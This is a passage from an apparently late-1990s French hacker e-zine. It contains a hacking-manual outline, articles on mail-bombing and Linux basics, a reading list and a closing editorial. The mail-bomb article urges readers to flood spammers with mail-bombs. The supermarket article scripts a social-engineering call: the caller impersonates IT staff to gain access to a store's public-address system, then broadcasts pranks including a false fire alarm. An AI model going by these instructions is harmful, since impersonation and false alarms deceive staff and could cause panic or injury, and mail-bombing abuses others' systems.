    • 2∞) Les compilateurs
    • 3∞) Les techiques de destructions
    • 4∞) S'informer sur le serveur
      • a. Ping
      • b. Finger

  • IV) Le cracking
  • V) Le phreaking
  • VI) Les e-zines underground
    • 1∞) Francais
    • 2∞) Americains

  • VII) Les liens vers les sites de H/P/C/V
  • VIII) Les differents types de hacking
    • 1∞) L'IP Spoofing
    • 2∞) L'espionnage de trames
    • 3∞) Le S.E.
    • 4∞) Le ping de la mort (ping of death)
    • 5∞) Attaque frontale
    • 6∞) Le cheval de troie

  • IX) La cryptographie
  • X) Les differentes plates-formes (OS)
    • 1∞) Windows
    • 2∞) Unix/Linux
    • 3∞) Mac
    • 4∞) Novell Netware

  • XI) Le Bust
    • 1∞) Avant de se faire buster, les pieges a eviter
    • 2∞) Que faire si vous vous faites buster ?

  • XII) Conclusion


J'en suis environ a la page 50 dans la redaction de ce manuel, et je suis loin d'avoir fini. Affaire a suivre donc sur www.madchat.org ou cybz.virtualave.net


 ------------------------------------------------------------------------------ 
*20******************** Mailboom: soyez intelligent **************************
----------------------------------| 3D13 |------------------------------------


Si il y a une technique merdique sur tout le net, c'est bien celle la : le mail-boom.
Dire qu'il existe encore des pauvres mecs qui se croyent hacker, alors qu'il savent tout juste se servir d'un mail-boom ou d'un nuker.
En fait, pour etre precis, le mail boom est utilise par (en general), de enfants d'environ 12-14 ans, mais il y en a qui s'en serve encore a 17,18 ou 20 ans, et se croyent genies, hackers talentueux, je crois meme que leur QI est inferieur a la moyenne, vu que ces outils sont utilises par des enfants !! Ca revient a dire qu'un personne sait programmer, alors que pour faire ces virus, elle utilise "Virus Labo", un generateur de virus.
Ces outils ne font pas appel a des techniques tres perfectionnees. Ils sont plutot employes par des utilisateurs immatures, des employes mecontents ou des jeunes. Neanmoins il existent bel et bien et sont utilises au detriment de la communaute informatique.
La seule raison pour laquelle j'ai rien contre le mail-bombing, c'est contre les spams, vous savez, ces societes qui vous envoyent des pubs sur votre e-mail, eh bien moi je deteste ca, donc, apres avoir recu un gentil message publicitaire de ces societes, envoyez leur 5 mail-bombs, ce n'a l'air de rien, mais si tout le monde en envoie 5, ca fera beaucoup.


 ------------------------------------------------------------------------------ 
*21********************** Linux pratique (partie 1) **************************
----------------------------------| 3D13 |------------------------------------


Ah, vous l'avez sur un cdrom car vous lisez des livres qui se lisent avec les yeux et le gentil editeur vous propose une version de linux sur 1..2..3 cdroms. Et vous vous dites : "j'ai envie de l'installer car j'ai lu le 24e article de l'e-zine 3d13", yeah!!!, dans ce cas, installez le vite, je vais vous decrire vitre fait comment ca marche, car il faut l'avouer, une installation de linux est souvent chaotique, quoique, j'y suis bien arrive tout seul. Il y a plusieurs versions sur le marche, choisissez la votre, vous n'etes pas force de prendre la RedHat, meme si c'est la plus connue, il y en a d'autres, par exemple, ma preferee a moi, c'est la Suse 6.1 et avant c'etait la "Developer's resource" d'Infomagic.
Pour commencer, il faut donc creer une (ou deux) disquette(s) d'amorcage, quelques fois, vous pourrez initialiser l'installation a partir d'un cdrom. Vous initialiserez ensuite l'installation, et vous creerez vos deux partitions linux, une native et une swap. La, vous installerez en suivant les procedures d'installation.
A la fin de l'installation, on doit vous demander un mot de passe pour le root, tapez ce que vous voulez tant que vous ne l'oubliez pas. Ensuite, apres une installation avec succes, vous rebooterez la machine et si vous naviguez entre 2 OS, vous devrez normalement avoir choisi d'installer LILO (LInux LOader) et vous tapez "linux" ou "dos" si vous tournez avec windows.

Note : Windows ne sait pas lire une partition linux mais linux sait lire une partition windows.

vous devrez voir apparaitre a l'ecran : "login :", tapez ici "root" et ensuite "password", tapez ici le mot de passe choisi a l'installation.
Maintenant, on passe a la pratique :
sous linux, les disques ne s'appellent pas A,B,C,D ou E... mais le nom que vous voulez, en general je choisis cdrom pour mon lecteur de cd, floppy pour ma disquette et hd pour la partie de mon disque dur tounant sous windows. Et pour pouvoir acceder a ces disques, il faut les monter, par exemple, inserez une disquette formattee DOS dans votre lecteur et tapez :

 mount /dev/fd0 /mnt/floppy 
cd /mnt/floppy
ls

et si vous avez beaucoup de fichier, tapez "ls |more"

pour votre cdrom, tapez (dans mon cas, sinon, remplacez hdc par hdb, hdd, hde)

 mount /dev/hdc /mnt/cdrom 


enfin, pour acceder a la partie de windows de votre disque dur, il va falloir creer le repertoire caril est pas cree par defaut, tapez :

 mkdir /mnt/hd 

puis, on monte tout ca :

 mount /dev/hda1 /mnt/hd (en remplacant le hda1 par hda2, hda3 pour le n∞ de partition) 

et pour demonter, tapez

 umount /mnt/hd 
umount /mnt/cdrom
umount /mnt/floppy


ATTENTION, l'erreur frequente est de taper unmount au lieu de umount.
Comme je vous ait deja donne quelques notions d'unix, c'est pas la peine de les rappeller ici, relisez les precedents numeros.


 ------------------------------------------------------------------------------ 
*22****************** Liste des livres interessants **************************
----------------------------| Hitchy & 3d13 |---------------------------------


C'est hitchy qui a ecrit cet article, j'ai juste voulu rajouter quelques bouquins de ma collection, voici son article :

[HITCHY]
On ne devient pas un hacker en faisant juste de l'ordinateur toute la journée et que meme mitnick a lu des livres!!! (Ils coutent tous tres cher mais dans pas lomgtemps j'expliquerais comment avoir la bible Linux ‡ 99 francs neuve!!!:-)))

  1. "La bible Linux" chez Micro Applications.
  2. "Sécurité et protections" tj chez Micro Applications.
  3. "Initiation ‡ la cryptographie" chez Dunod
  4. "Le PC" chez S&SM
  5. "Les résaux" en poche chez S&SM
  6. "L'assembleur facile" chez Marabout
  7. "Dictionnaire de l'internet et de l'intranet" chez Marabout
  8. "TCP/IP en poche chez S&SM"

Je pense qu'il y a des livres tres bien que peut de monde connaise.
[FIN MESSAGE DE HITCHY]

[3D13]
Voila ce que j'ai a rajouter :
Linux est bien car c'est le seul systeme unix que le public peut se procurer, avec ce systeme, vous pourrez donc compiler beaucoup de programmes sources crees a la base pour unix (mais pas tous), je dit pas tous car, par exemple, SATAN qui a ete cree sous unix ne se compile pas sous Linux et il faut se procurer la version pour linux (qui existe:voir 3d13#1).
Il faut pas avoir linux pour frimer devant ses potes, c'est ridicule, vous avez le droit de l'utiliser, par exemple, je tape ce texte sous vi tout en ecoutant un CD, j'utilise le tableur/tratement de texte d'applix. Donc, si vous avez envie de l'installer, mais surtout de l'utiliser, un tres bon bouquin : La bible Linux chez Micro Applications.
Pour l'assembleur, cela vous aidera pour realiser vos propres cracks, ou bien, cree vos propres routines pour un programme que vous etes en train de faire, demandez : PROGRAMMER EN ASSEMBLEUR SUR PC, edition Micro applications, par Holger SCHAKEL, prix 225 F avec la disquette 3"1/2. (non, j'ai pas un contrat avec micro application, mais il y a quand meme quelques livres incontournables chez cet editeur).
Le sublime "Securite optimale", chez S&SM.
Tous les livres notes ressources d'experts, chez S&SM sont excellents, lisez les sans hesiter, mais ils coutent environ 400 F !!!
Pour rajouter encore un truc, Kevin Mitnick (rrrrrrraaaaaahhhhh %-P) ne lisait non pas que des livres mais aussi et surtout des notes d'informations, je vais vous donner quelques listes de diffusions, mais avant de vous inscrire a toutes les listes, vous devez savoir que vous pouvez (si vous etes partout) facilement recevoir 30 Mb de donnees pas mois, donc, soyez inscrit a une ou deux, mais pas trop, voici les listes accompagnees d'une courte description :

8lgm-list-request@8lgm.org : Uniquement des failles majoritairement sur UNIX coast-request@cs.purdue.edu : Failles et discutions sur les outils (svnt UNIX) www-security-request@nsmx.rutgers.edu : Failles sur le www Sneakers@CS.Yale.EDU : Methodes d'instrusion par l'exploitation de failles et d'outils connus.

 ------------------------------------------------------------------------------ 
*23************** Prenez les commandes d'un supermarche **********************
--------------------------------| Hitchy |------------------------------------


Vous etes a carrefour ou une conneries de supermarche a deux balles et o soudain vous voyez un "telephone" enfin theoriquement c'en est un mais en fait ca sert a contacter un hotesse pour poser toute sortes de questions tres interressante comme "Combien coute les cacahuetes?"etc....
Grace a un peu de S.E on va peut-etre reussir a faire passer un message dans tout le magasin: Vous décrochez

  • Service de merde carrefour
  • Bonjour, que puis je faire pour vous?
  • Oui,ici Marc du service informatique j'ai un petit problème car je ne suis nouveau ici et je voudrais passer un message pour joindre un gerant car un client a une plainte a faire, mais personne ne m'a informe du prefixe ou de la demarche a suivre pour passer un message dans le magasin!
  • Alors il faut faire ...................
  • Merci beaucoup, vous etes libre ce soir?


Bon maintenant que vous savez se qu'il faut faire vous avez qu'a balancer des conneries comme:
"Nous informons notre aimable clientele que Pamela Anderson est en train de signer des autographes ‡ l'entre du magasin"
"AU FEU! AU FEU!"
"Nous informons notre aimable clientele qu'il doive se munir de leur roulo de pq si il veulent aller au toilette"


 ------------------------------------------------------------------------------ 
*24************** Linux, pourquoi il faut l'installer ? **********************
----------------------------------| 3D13 |------------------------------------


Vous n'avez pas le temps de jouer ? vous etes lasses par les fonctions de DOS
et de Windows, vous les connaissez plus que par coeur, vous aimez l'informatique et vous voulez progresser ? vous avez un graveur ? un scanner ? vous voulez faire de la retouche, naviguer sur internet sans avoir le risque d'etre facilement pirate ? Vous avez envie de jouer a Hopkins FBI ? contribuer a l'elaboration de projets ? pouvoir surfer sans avoir a etre espionne par windows ou internet explorer ? vous avez peur que l'administration francaise vous poursuive ? regarde ce que vous avez sur vos disques durs ? vous etes un programmeur ? si vous repondez oui a l'une de ces questions (j'en ais oublie plein, desole les linuxiens avertis si vous en connaissez d'autres) alors linux est fait pour vous.
Pour commencer, equipez vous de la Red Hat 6.0 ou de la Suse 6.1, lisez le manuel pour l'installation. Pourquoi je vous indique l'une de ces distributions ? parce qu'elle sont tres tres completes, mais il en existe plein d'autres, trouvez la votre. Un tres bon magazine francais existe : linux magazine, un mine d'informations.
C'est aussi vrai que si vous etes un gros joueur, linux n'est pas fait pour vous. Certes, il existe quelques jeux sympas, mais les jeux commerciaux peuvent se compter sur les doigts de la main, par contre, ca commence a venir, grace a "Hopkins FBI","Quake 3"(qui est pas encore sortit),"Doom",...ca arrive doucement mais ca arrive.
Je vous conseille d'installer KDE (pour l'instant, la 1.1.1 est sortit), c'est une interface et un ensemble d'outils disponibles, tel que kicq (et oui, icq sous linux, ca existe).
Pour votre graveur, vous avez Keasy CD ou Kreate CD.
Kirc pour discuter existe aussi, bref, vous retrouvez tout ce dont vous aurez put penser perdre en installant linux et que vous aviez sous windows. Non, quasiment tous vos programmes existent, ou sont a l'etat de projet. Vous aimez le mp3 (pirates! c'est honteux!), il existe x11amp, qui fait comme winamp.
Netscape navigator est inclus (les memes versions que windows).
Vous etes un cracker fou ? desole pour vous, plus besoin de decompiler vos programmes puisqu'ils sont fournis avec la source et sont tous du domaine public (sauf staroffice, hopkins fbi, et les autres produits commerciaux, mais ils restent gratuits), vous allez donc etre au chomage. Hackers ? bienvenue dans votre paradis, vous avez tout ce qu'il vous faut. Programmeurs ? tous les langages sont disponibles, C ? C++ ? pascal ? lisp ? assembleur ? fortran ? ada ? agol ? basic ? .... la liste est longue, il y a meme les outils de lex et yacc pour creer un compilateur. En conclusion, n'hesitez pas a passer sous linux, meme si a peut etre dur au debut, perseverez. Si vous etes un joueur, attendez encore un peu, sinon, QU'ATTENDEZ VOUS POUR L'INSTALLER DES MAINTENANT ?


 ------------------------------------------------------------------------------ 
*25************************* Le mot 2 la faim ********************************
------------------------------------------------------------------------------


Je pense recevoir peut etre la critique du fait que mon e-zine est peut etre trop oriente linux, je suis d'accord, mais c'est une plate-forme geniale et en plus, beaucoup d'utilitaires Unix fonctionnent dessus donc c'est l'ideal. Je vous conseille tres vivement de l'installer car c'est un systeme d'avenir. Donnez vos idees, vos critiques afin d'ammeliorer cet e-zine qui est loin d'etre parfait. Je vous rappelle que je suis a la recherche d'un phreaker et d'un chimiste...
Le prochain e-zine sortira certainnement plus tardivement car vous pourrez bientot lire un manuel du pirate, que je veux le plus complet possible et un manuel d'unix/linux.
Je vous rappelle mon e-mail : 3d13@usa.net, je ne repondrais desormais plus aux e-mails, je les lirais certainnement, la reponse des e-mails que vous m'envoyez seront re-ecrits ici avec une reponse. Ce n'est pas pour autant que vous ne pouvez pas m'ecrire ou me joindra par ICQ : 38328109.
@+

Un coucou :-) a :

  • CYBZ (pour sa sympathie)
  • LEONARD (pour son site)
  • LEFTY (pour sa participation)
  • WOODIE (pour sa connerie)
  • BIGFOOT (pour son terrorisme)
  • Tha|\|aTosE (pour ses e-mails marrants a lire)
  • TUROKIII (pour etre le frere de la soeur de quelqu'un)
  • Kelly (pour sa gentilesse d'etre une femme hackeuse)
  • Boulibang (pour je sais pas quoi)..encore plein d'autres que j'ai pas en tete.


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22 Feb 2021
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